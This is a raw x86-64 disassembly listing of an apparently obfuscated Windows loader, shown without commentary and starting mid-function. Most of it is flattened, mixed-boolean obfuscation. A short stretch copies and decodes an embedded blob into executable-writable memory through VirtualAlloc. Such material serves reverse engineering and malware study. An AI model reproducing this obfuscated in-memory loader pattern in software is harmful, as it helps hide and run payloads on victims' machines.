xor dl, al
or dl, cl
mov r14d, edx
xor r14b, 1
mov eax, r13d
xor al, r12b
or r12b, r13b
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
mov ecx, ebx
mov byte [rbp - 0x3c], bl
or r15b, bl
mov r13d, r15d
xor r13b, 1
xor bl, dil
xor bl, 1
and bl, dil
or dil, cl
mov ecx, edi
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dil
xor bl, 1
or bl, cl
mov edi, ebx
xor dil, 1
mov ecx, r13d
and cl, r15b
xor cl, 1
mov r8d, ecx
xor r8b, r15b
or cl, r15b
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, bl
and cl, dil
or cl, r8b
xor dil, r15b
or bl, r13b
xor bl, 1
or bl, dil
xor bl, 1
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, r12d
and cl, r14b
or r12b, dl
and dl, al
or dl, cl
mov edi, edx
xor dil, r14b
and dil, dl
xor r12b, 1
or al, r14b
xor al, 1
mov edx, r12d
and dl, al
xor al, r12b
or al, dl
mov edx, edi
xor dl, 1
xor al, 1
and dil, dl
mov r8d, edx
and r8b, dil
xor dil, dl
or dil, r8b
xor dil, al
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, dil
xor dil, 1
xor dl, 1
or dil, al
xor dil, 1
or dil, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov ecx, edi
xor cl, 1
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
and cl, dil
xor cl, 1
mov r8d, edi
xor r8b, cl
or cl, dil
xor cl, 1
or cl, r8b
and bl, cl
xor cl, 1
and cl, al
or cl, bl
xor al, cl
and al, cl
mov edi, eax
and al, dl
xor dl, 1
xor dil, 1
mov ecx, edx
xor cl, dil
and cl, dl
and dil, dl
or dil, al
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov ecx, r11d
xor cl, r10b
mov eax, r11d
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
xor sil, 1
or sil, r10b
xor sil, 1
or sil, r9b
and r11b, sil
xor sil, 1
and sil, byte [rbp - 0x3c]
or sil, r11b
mov edx, esi
xor dl, 1
and sil, al
or al, dl
and dl, cl
or dl, sil
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
or bl, dl
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, bl
xor bl, al
xor bl, 1
and bl, al
mov edx, edi
xor dl, 1
and dl, dil
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov ecx, ebx
xor cl, 1
mov r8d, ecx
and r8b, bl
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
xor r8b, 1
mov eax, edx
xor al, 1
or dl, al
xor dl, 1
xor dil, dl
mov r9d, edi
xor r9b, 1
and r9b, dl
mov edx, r9d
and dl, dil
xor r9b, dil
or r9b, dl
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, r9d
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
and dl, cl
xor cl, 1
and cl, r9b
or cl, dl
mov ebx, eax
or bl, r8b
xor al, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xfc102587
mov edi, 0x5513743a
cmovne eax, edi
test bl, 1
mov edx, 0xfc102587
cmove eax, edx
test cl, 1
cmovne eax, edi
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
cmp eax, 0xaee9eb6a
je 0x14001bd24
cmp eax, 0xbfbafb56
je 0x14001bd39
cmp eax, 0xbeb1dcd1
jne 0x140010e60
jmp 0x14001bdb1
cmp eax, 0xf1ebdacc
je 0x14001bd67
cmp eax, 0xfc102587
jne 0x140010e60
sub rsp, 0x20
mov ecx, 0x96006
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0x4b003
mov rcx, rax
lea rdx, [0x14003abc0]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
mov edx, 0x4b003
call fcn.140001078
lea rcx, str.___Allocating__d_bytes_of_memory_n
mov edx, 0x4b003
call fcn.1400010dc
mov edx, 0x4b003
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov eax, 0x5513743a
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
cmp eax, 0xc1cf7622
je 0x14001bd90
cmp eax, 0xd0a0011c
jne 0x140010e60
mov eax, 0x6856a8c0
mov dword [rbp - 0x50], 0
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
mov eax, 0x4b010
call fcn.140001055
sub rsp, rax
mov rcx, rsp
mov qword [rbp - 0x30], rcx
mov rax, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x4b003
lea rdx, [0x14003abc0]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x96006
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add rsp, 0x20
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
mov r8d, 0x4b003
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
mov edx, 0x4b003
call fcn.140001078
lea rcx, str.___Allocating__d_bytes_of_memory_n
mov edx, 0x4b003
call fcn.1400010dc
add rsp, 0x20
mov qword [rbp - 0x20], 0x4b003
mov rdx, qword [rbp - 0x20]
sub rsp, 0x20
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
sete byte [rbp - 9]
mov eax, dword [0x1400968b4]
lea r8d, [rax - 1]
imul r8d, eax
mov r9d, r8d
not r9d
mov eax, r9d
and eax, 0x89b1c790
mov ecx, r8d
and ecx, 0x764e386f
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcd6fc051
and ecx, 0x32903fae
or ecx, eax
mov edx, ecx
xor edx, 0x8212028
xor ecx, 0x400200c0
and ecx, 0xf302d8d6
and edx, 0xcfd2729
or edx, ecx
mov eax, edx
xor eax, 0xcfd2729
xor edx, 0xf302d8d6
mov ecx, r8d
or ecx, r9d
mov ebx, ecx
not ebx
and ebx, eax
or eax, ecx
mov edi, eax
not edi
and ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x70ffbcd2
and edi, 0x8f00432d
or edi, ebx
or eax, edx
and edx, 0x70ffbcd2
and ecx, 0x8f00432d
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xed161ba1
and edx, eax
not eax
and eax, 0xa9061aa1
and ecx, 0x44100100
or ecx, eax
xor ecx, 0x44100100
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xd07ec2a9
and edx, 0x2f813d56
or edx, eax
mov eax, edx
xor eax, 0xc29726f7
xor edx, 0x19088900
mov ecx, eax
and ecx, 1
and edx, 0x9b1e8b35
and eax, 0x64e174ca
or eax, edx
xor eax, 0x9b1e8b34
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x11e6e95e
and ecx, eax
and eax, 0xee1916a1
or eax, edx
xor eax, 0xee1916a1
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xbc89ba87
and eax, 0x43764578
or eax, ecx
mov r15d, eax
xor r15d, 0x40620500
xor eax, 0x3080aa84
and eax, 0x3394eafc
and r15d, 0xcc6b1503
or r15d, eax
mov r10d, r15d
xor r10d, 0x3394eafc
mov r12d, r15d
xor r12d, 0xc4231103
mov ecx, r9d
and ecx, 0xc9330a1d
mov ebx, r8d
and ebx, 0x36ccf5e2
or ebx, ecx
mov r11d, ebx
xor r11d, 0x360095c0
mov ecx, ebx
xor ecx, 0xc9330a1d
xor ebx, 0x80f8a2c5
and ebx, ecx
mov edx, ecx
or edx, 0xb6345727
mov edi, edx
not edi
mov esi, ebx
not esi
mov eax, esi
and eax, 0x7637d83e
and ebx, 0x89c827c1
or ebx, eax
or esi, edx
and edx, 0x7637d83e
and edi, 0x9c820c0
or edi, edx
xor edi, ebx
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0x3c9bc3e0
and esi, 0xc3643c1f
or esi, eax
xor esi, 0x75506b39
and r11d, 0xb73397d5
mov eax, ecx
and eax, 0x48cc682a
or eax, r11d
xor eax, 0xb73397d4
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xca9ddeba
and ecx, 0x35622145
or ecx, eax
xor ecx, 0x35622145
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edi, ecx
xor edi, 0x7108a3c7
and edi, ecx
not ecx
and ecx, 0x7108a3c7
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
and eax, 0x8ef75c38
and edi, 0x7108a3c7
or edi, eax
mov r13d, edi
not r13d
mov eax, r10d
and eax, 0xad804d4
and r12d, 0xf527fb2b
or r12d, eax
mov eax, r12d
xor eax, 0xa002
xor r12d, 0x8480000
mov edx, r10d
or edx, 0x194ae093
mov r14d, edx
not r14d
or r12d, 0xe4a50c64
and r12d, 0xfdef4c65
and eax, 0xa092
or eax, r12d
and edx, 0xfdef4c65
and r14d, 0x2101308
or r14d, edx
xor r14d, eax
mov eax, r14d
not eax
and eax, 0xe6b51f6c
and r14d, 0x194ae093
or r14d, eax
mov eax, r13d
and eax, 0xd6261e77
mov r12d, edi
and r12d, 0x29d9e188
or r12d, eax
mov eax, r12d
xor eax, 0x6008
xor r12d, 0x2201047
mov edx, edi
xor edx, 0x22070cf
and edx, edi
or r12d, 0xfddf8f30
mov ebx, edx
not ebx
mov ecx, r12d
and ecx, 0xa63882f0
and eax, 0x700f
or eax, ecx
or r12d, ebx
and ebx, 0xa63882f0
and edx, 0x59c77d0f
or edx, ebx
xor edx, eax
not r12d
or r12d, edx
mov eax, r12d
not eax
and eax, 0xfddf8f30
and r12d, 0x22070cf
or r12d, eax
mov r11d, r14d
not r11d
mov eax, r11d
and eax, 0x8e00242e
mov ebx, r14d
and ebx, 0x71ffdbd1
or ebx, eax
not ebx
or ebx, r11d
and r10d, 0x71ffdbd1
xor r15d, 0x426b312d
or r15d, r10d
mov eax, r15d
not eax
and eax, 0x3b57f302
and r15d, 0xc4a80cfd
or r15d, eax
mov r10d, r12d
not r10d
mov ecx, r10d
and ecx, 0x8e00242e
mov eax, r12d
xor eax, 0x71ffdbd1
or eax, ecx
mov ecx, r13d
and ecx, 0x1f0d54f6
and edi, 0xe0f2ab09
or edi, ecx
mov ecx, ebx
not ecx
xor edi, 0x6ef28f27
xor r13d, edi
and r13d, edi
mov edi, ebx
and ebx, 0xe2524c1
and ecx, 0xf1dadb3e
or ecx, ebx
mov ebx, r15d
xor ebx, 0xc088083c
xor r15d, 0x3b57f302
or edi, r15d
and r15d, 0xe2524c1
and ebx, 0xf1dadb3e
or ebx, r15d
mov edx, edi
not edx
xor ebx, ecx
mov ecx, edi
and ecx, 0x761fc051
and edx, 0x89e03fae
or edx, ecx
mov ecx, ebx
not ecx
or edi, ecx
and ecx, 0x761fc051
and ebx, 0x89e03fae
or ebx, ecx
xor ebx, edx
mov edx, r13d
and r13d, eax
not eax
not edi
or edi, ebx
not edx
mov ecx, eax
xor ecx, edx
and ecx, eax
and edx, eax
or edx, r13d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov ecx, edi
mov eax, edi
xor eax, 0x6f3ea9c
and eax, edi
not edi
and edi, 0x6302094
and ecx, 0xc3ca08
or ecx, edi
xor ecx, 0xc3ca08
mov edi, edx
not edi
and edi, 0x6f3ea9c
and edx, 0xf90c1563
or edx, edi
mov edi, ecx
and edi, eax
xor eax, ecx
or eax, edi
mov ecx, eax
not ecx
and ecx, 0x44fc836c
and eax, 0xbb037c93
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x44fc836c
and edx, 0xbb037c93
or edx, ecx
xor edx, eax
mov ecx, r11d
or ecx, r10d
mov eax, ecx
not eax
and r11d, 0x30498018
and r14d, 0xcfb67fe7
or r14d, r11d
and r10d, 0x30498018
and r12d, 0xcfb67fe7
or r12d, r10d
xor r12d, r14d
mov esi, r12d
not esi
mov ebx, ecx
and ebx, 0x30487e13
and eax, 0xcfb781ec
or eax, ebx
or ecx, esi
and esi, 0x30487e13
and r12d, 0xcfb781ec
or r12d, esi
xor r12d, eax
not ecx
or ecx, r12d
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x6a200304
and ecx, 0x848dc440
or ecx, eax
mov edi, ecx
xor edi, 0x80894040
xor ecx, 0x2202322f
or ebx, 0xeeadc744
mov eax, ebx
not eax
and ecx, 0x2606b62f
and edi, 0xc8a94140
or edi, ecx
and ebx, 0x2606b62f
and eax, 0x11500890
or eax, ebx
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0x115238bb
and eax, 0xeeadc744
or eax, ecx
mov ecx, eax
not ecx
mov esi, edx
mov edi, edx
xor edi, 0x1c897e62
and edi, edx
not edx
and edx, 0xae507b70
and esi, 0x51af848f
or esi, edx
mov ebx, esi
xor ebx, 0x51af848f
xor esi, 0xb2d90512
and esi, ebx
mov edx, ebx
and edx, ecx
xor ebx, ecx
and ecx, 0x1c897e62
and eax, 0xe376819d
or eax, ecx
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov ecx, edi
not ecx
and ecx, eax
not eax
and eax, edi
or eax, ecx
or ebx, edx
mov edx, ebx
not edx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x59e33720
and eax, 0xa61cc8df
or eax, ecx
or edi, ebx
and ebx, 0x59e33720
and edx, 0xa61cc8df
or edx, ebx
xor edx, eax
not edi
or edi, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0x8c352c9a
mov ecx, edi
and ecx, 0x73cad365
or ecx, eax
mov eax, ecx
xor eax, 0x3481025
xor ecx, 0x4302490
and ecx, 0x74b2e7d0
and eax, 0x8b4d182f
or eax, ecx
mov ecx, eax
xor ecx, 0x10b28110
xor eax, 0xa051028
and ecx, 0x91fa8917
and eax, 0x6e0576e8
or eax, ecx
mov esi, eax
xor esi, 0x11b00802
xor eax, 0x48010000
and eax, 0xc84b8115
and esi, 0x37b47eea
or esi, eax
mov eax, esi
xor eax, 0x2942c82
mov ecx, edx
and ecx, 0xb0a1cfcc
and edi, 0x4f5e3033
or edi, ecx
xor edi, 0x4f5e3033
xor edx, edi
and edx, edi
xor esi, 0xc84b8115
mov ecx, esi
and ecx, 0xb52b5368
and eax, 0x4ad4ac97
or eax, ecx
mov r10d, eax
xor r10d, 0x4ad4ac97
mov ecx, edx
xor ecx, 0xf2d551f9
mov r11d, ecx
and ecx, edx
not edx
xor eax, 0xb0015168
or eax, 0xd2aae06
mov ebx, eax
not ebx
or esi, 0xf2d551f9
mov edi, esi
not edi
and r11d, edx
and eax, 0x5c975e13
and ebx, 0xa24001e8
or ebx, eax
and esi, 0x5c975e13
and edi, 0x128a004
or edi, esi
xor edi, ebx
mov eax, r11d
and eax, ecx
xor ecx, r11d
or ecx, eax
mov eax, edi
not eax
and eax, 0xa677c539
and edi, 0x59883ac6
or edi, eax
mov eax, ecx
not eax
and eax, 0xa677c539
and ecx, 0x59883ac6
or ecx, eax
xor ecx, edi
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov eax, edx
not eax
and eax, 0x904b2e1
and edx, 0xf6fb4d1e
or edx, eax
xor edx, 0xf6fb4d1e
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, r8d
and eax, 0xfc49344d
mov r10d, r9d
and r10d, 0x3b6cbb2
or r10d, eax
mov eax, r10d
xor eax, 0x3200a12
and eax, 0xcb692e1b
xor r10d, 0xc8dfe5a9
or r10d, eax
mov r11d, r10d
not r11d
and r8d, 0xaa787fe1
mov ebx, r9d
and ebx, 0x5587801e
or ebx, r8d
xor ebx, 0x9eeeae05
and r9d, 0x3496d1e4
or r9d, ebx
mov ebx, r9d
not ebx
mov edi, r9d
and edi, 0x32a6c5b
xor r9d, 0xc25f3b43
and r9d, ebx
and ebx, 0xfcd593a4
or ebx, edi
mov r8d, ebx
mov ecx, r10d
xor ecx, 0xc25f3b43
mov esi, ecx
and esi, r10d
and ecx, r11d
xor ebx, 0x32a6c5b
mov eax, esi
not eax
mov edi, eax
and edi, 0xa083fda1
and esi, 0x5f7c025e
or esi, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0xa083fda1
and ecx, 0x5f7c025e
or ecx, edi
mov edi, ebx
or edi, 0xc25f3b43
xor ecx, esi
mov esi, edi
not esi
not eax
or eax, ecx
mov ecx, edi
and ecx, 0xe880e5a5
and esi, 0x15200018
or esi, ecx
mov ecx, r9d
not ecx
or edi, ecx
and ecx, 0xe880e5a5
and r9d, 0x177f1a5a
or r9d, ecx
xor r9d, esi
xor r8d, 0x50851220
not edi
or edi, r9d
mov ecx, eax
not ecx
and ecx, 0xe95b400
and eax, 0xf16a4bff
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0xe95b400
and edi, 0xf16a4bff
or edi, ecx
xor edi, eax
mov eax, r11d
and eax, 0xae7aad97
and r10d, 0x51855268
or r10d, eax
or r11d, ebx
and ebx, 0xae7aad97
and r8d, 0x51855268
or r8d, ebx
xor r8d, r10d
not r11d
or r11d, r8d
mov eax, r11d
not eax
and eax, 0xe3851cd4
and r11d, 0x1c7ae32b
or r11d, eax
xor r11d, 0x1c7ae32b
mov eax, edi
and eax, r11d
xor r11d, edi
or r11d, eax
mov ecx, r11d
mov eax, r11d
xor eax, 0x8958c1ea
and eax, r11d
not r11d
and r11d, 0x81584062
and ecx, 0x8008188
or ecx, r11d
xor ecx, 0x8008188
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x4231eff1
and eax, 0xbdce100e
or eax, ecx
mov r8d, edx
not r8d
mov ebx, eax
not ebx
mov r9d, eax
xor r9d, 0xac8e2b13
and r9d, ebx
and ebx, 0x3ab5f4e7
mov ecx, eax
and ecx, 0xc54a0b18
or ecx, ebx
mov esi, ecx
xor esi, 0x440a0308
xor ecx, 0x3ab5f4e7
mov ebx, edx
and ebx, 0xb1c56c33
mov edi, r8d
and edi, 0x4e3a93cc
or edi, ebx
mov ebx, edx
or ebx, ecx
and ecx, 0xb1c56c33
and esi, 0x4e3a93cc
or esi, ecx
xor esi, edi
not ebx
or ebx, esi
or edx, 0x5371d4ec
mov ecx, edx
not ecx
or r8d, 0xac8e2b13
mov edi, r8d
not edi
and eax, 0x5371d4ec
and edx, 0x8a8d1ce6
and ecx, 0x24022311
or ecx, edx
and r8d, 0x8a8d1ce6
and edi, 0x5170c008
or edi, r8d
xor edi, ecx
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, edi
not ecx
and ecx, eax
not eax
and eax, edi
or eax, ecx
mov ecx, eax
and eax, ebx
not ebx
not ecx
mov edx, ebx
xor edx, ecx
and edx, ebx
and ecx, ebx
or ecx, eax
mov ebx, edx
not ebx
mov eax, ecx
not eax
mov edi, ebx
and edi, 0xa4b1764a
and edx, 0x5b4e89b5
or edx, edi
or ebx, eax
and eax, 0xa4b1764a
and ecx, 0x5b4e89b5
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
mov edi, ebx
not edi
mov edx, ebx
mov eax, ebx
mov ecx, edi
and ecx, 0xfd8a2bf7
and ebx, 0x275d408
or ebx, ecx
xor ebx, 0xfd8a2bf7
or ebx, edi
and edi, 0x2420000
and edx, 0x2480a911
or edx, edi
xor edx, 0x2480a911
and eax, 0xd93d56ee
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8f07f227
and eax, 0x70f80dd8
or eax, ecx
mov r9d, eax
xor r9d, 0x563aa4c9
xor eax, 0x81805230
and eax, 0xd7a076b0
mov ecx, r9d
and ecx, 0x285f894f
or ecx, eax
xor ecx, 0x285f894f
mov edi, ecx
mov edx, ebx
mov r8d, ecx
and r8d, ebx
xor ecx, ebx
not ebx
and edi, 0x25dc8b88
and r9d, 0xda237477
or r9d, edi
xor edx, 0xda237477
and edx, ebx
or ebx, 0xda237477
mov edi, ebx
not edi
mov esi, ebx
and esi, 0x9c820c18
and edi, 0x215c8380
or edi, esi
mov eax, edx
not eax
or ebx, eax
and eax, 0x9c820c18
and edx, 0x637df3e7
or edx, eax
xor edx, edi
not ebx
or ebx, edx
mov eax, r9d
not eax
and eax, ebx
not ebx
and ebx, r9d
or ebx, eax
or ecx, r8d
mov edx, ecx
not edx
mov eax, ebx
not eax
mov edi, eax
and edi, 0x3e9755bb
and ebx, 0xc168aa44
or ebx, edi
or eax, ecx
and ecx, 0x3e9755bb
and edx, 0xc168aa44
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7ff6b2d6
and ecx, eax
and eax, 0x80094d29
or eax, edx
xor eax, 0x80094d29
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov esi, eax
mov ebx, eax
xor ebx, 0x26d97ba7
and ebx, eax
not eax
and eax, 0xb4ee45ee
and esi, 0x4b11ba11
or esi, eax
mov ecx, esi
xor ecx, 0x4b11ba11
mov edx, esi
xor edx, 0x92373e49
and edx, ecx
mov eax, edx
not eax
mov edi, eax
and edi, 0xb642a955
and edx, 0x49bd56aa
or edx, edi
mov edi, ebx
not edi
or eax, edi
and edi, 0xb642a955
and ebx, 0x49bd56aa
or ebx, edi
mov r8d, dword [0x1400968b0]
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
not edx
and edx, 0x8f9a49b1
and eax, 0x7065b64e
or eax, edx
mov edi, eax
xor edi, 0x89412002
xor esi, 0x2045ec
and esi, 0x92155fd
mov ebx, ecx
and ebx, 0xf6deaa02
or ebx, esi
xor ebx, 0xf6deaa02
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x62122773
and ebx, 0x9dedd88c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x99e10888
xor eax, 0x56bccde9
xor ebx, 0x62122773
mov edx, eax
and edx, 0x260ed655
and edi, 0xd9f129aa
or edi, edx
or eax, ebx
and ebx, 0x260ed655
and ecx, 0xd9f129aa
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7080400
mov edx, eax
and edx, 0x68900aea
or edx, ecx
xor edx, 0x68900aea
and eax, 0x9067f115
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x9067f115
and eax, 0x6f980eea
or eax, ecx
setne al
sete sil
cmp r8d, 9
setg dil
cmp r8d, 0xa
setl r8b
mov ecx, r8d
and cl, sil
mov r12d, r8d
xor r12b, sil
or cl, r12b
mov r9d, ecx
xor r9b, 1
or al, r8b
mov r11d, esi
or r11b, dil
mov r10d, r11d
xor r10b, 1
mov ebx, r11d
or bl, al
xor al, r10b
xor al, 1
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, cl
or cl, al
and al, r9b
or al, bl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r9d, eax
xor r9b, cl
or cl, al
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, 1
or bl, al
mov r14d, ebx
xor r14b, 1
mov eax, ecx
and al, r9b
mov r15d, eax
and r15b, cl
xor al, cl
mov ecx, r14d
and cl, bl
or al, r15b
mov r15d, ecx
and r15b, r14b
xor cl, r14b
or cl, r15b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor dil, sil
xor r10b, dil
xor dil, 1
or dil, r11b
xor dil, 1
or dil, r10b
and sil, r12b
and r12b, r8b
xor sil, 1
xor r12b, 1
mov eax, esi
xor al, r12b
or r12b, sil
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, r8b
or r12b, r8b
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
mov edx, edi
mov r8d, edi
or al, dil
xor dil, 1
and dl, r12b
xor r8b, r12b
or r8b, dl
mov ebx, r8d
xor bl, 1
or r12b, dil
mov edx, eax
xor dl, r12b
or al, r12b
xor al, 1
or al, dl
mov edi, r8d
and dil, bl
xor dil, 1
mov r10d, ebx
xor r10b, dil
or dil, bl
xor dil, 1
or dil, r10b
mov edx, edi
and dil, al
xor al, 1
xor dl, 1
and dl, al
or dil, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
xor dil, 1
mov edx, edi
xor dl, al
or dil, al
xor dil, 1
or dil, dl
mov eax, ecx
and al, r9b
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or bl, dl
mov r11d, ebx
xor r11b, 1
and bl, r11b
mov edx, ebx
and dl, r11b
xor bl, r11b
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, bl
mov edx, r11d
xor dl, cl
or r11b, cl
xor r11b, 1
or r11b, dl
xor r11b, 1
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov r8d, r11d
xor r8b, 1
mov r14d, edi
xor r14b, 1
mov r10d, edi
or r10b, r14b
mov eax, r10d
xor al, 1
and al, r10b
xor al, 1
mov edx, eax
xor dl, r10b
or al, r10b
xor al, 1
or al, dl
xor al, r14b
mov edx, edi
and dl, r10b
xor r10b, dil
or r10b, dl
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov eax, r11d
and al, r8b
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
xor al, 1
mov edx, eax
and dl, r11b
xor al, r11b
or al, dl
mov esi, eax
xor sil, 1
or cl, r9b
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
and dil, r14b
mov edx, edi
and dl, r14b
xor dil, r14b
or dil, dl
mov ebx, edi
xor bl, 1
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, ecx
or dl, sil
xor dl, 1
xor cl, sil
xor cl, 1
and cl, sil
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, ecx
and cl, al
xor al, 1
xor r9b, 1
mov edx, eax
xor dl, r9b
and dl, al
and r9b, al
or r9b, cl
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov ecx, ebx
or cl, dil
mov esi, ecx
xor sil, 1
mov eax, ecx
and al, bl
mov edx, ecx
and dl, dil
xor cl, dil
xor bl, dil
and dil, sil
or al, dil
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
or bl, sil
xor bl, 1
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
mov esi, ecx
xor sil, dl
or cl, dl
xor cl, 1
or cl, sil
xor cl, bl
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r14d, r9d
xor r14b, 1
mov ebx, r9d
or bl, r14b
mov esi, ebx
xor sil, 1
xor r14b, r9b
and r14b, r9b
mov r9d, ecx
xor r9b, 1
mov edi, r14d
xor dil, bl
and bl, sil
mov eax, ebx
and al, sil
xor bl, sil
or bl, al
mov eax, r9d
or al, cl
xor bl, r14b
or r14b, sil
mov esi, eax
xor sil, 1
xor dil, 1
xor r14b, 1
or r14b, dil
xor r14b, 1
mov edi, ebx
and dil, r14b
xor r14b, bl
or r14b, dil
mov edi, esi
and dil, al
mov ebx, edi
xor dil, sil
mov edx, ecx
and dl, r9b
xor bl, 1
or bl, al
xor bl, 1
or bl, dil
mov esi, edx
and sil, cl
xor dl, cl
or dl, sil
xor dl, bl
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r9d, eax
xor r9b, r14b
and al, r9b
and r9b, r14b
mov edx, eax
and dl, r9b
xor r9b, al
mov eax, r10d
xor al, 1
or r9b, dl
mov edx, eax
and dl, r11b
and al, r8b
and r8b, r10b
or r8b, dl
mov edx, r8d
xor dl, r11b
and dl, r8b
and r10b, r11b
or al, r10b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
mov ecx, edx
xor cl, al
and cl, dl
and al, dl
or al, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
xor al, 1
